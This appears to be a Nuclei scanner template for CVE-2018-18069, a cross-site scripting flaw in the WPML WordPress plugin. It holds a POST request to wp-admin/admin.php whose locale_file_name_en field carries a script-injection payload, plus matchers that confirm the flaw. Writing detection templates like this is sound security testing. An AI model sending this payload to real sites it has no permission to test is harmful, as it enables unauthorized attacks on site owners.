id: CVE-2018-18069

info:
  name: Wordpress unauthenticated stored xss
  author: nadino
  severity: medium
  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
  tags: cve,cve2018,wordpress,xss
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2018-18069
    cwe-id: CWE-79
  reference:
    - https://0x62626262.wordpress.com/2018/10/08/sitepress-multilingual-cms-plugin-unauthenticated-stored-xss/

requests:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php"
    body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>'
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(all_headers), "text/html") && contains(set_cookie, "_icl_current_admin_language") && contains(body, "\"><script>alert(0);</script>")'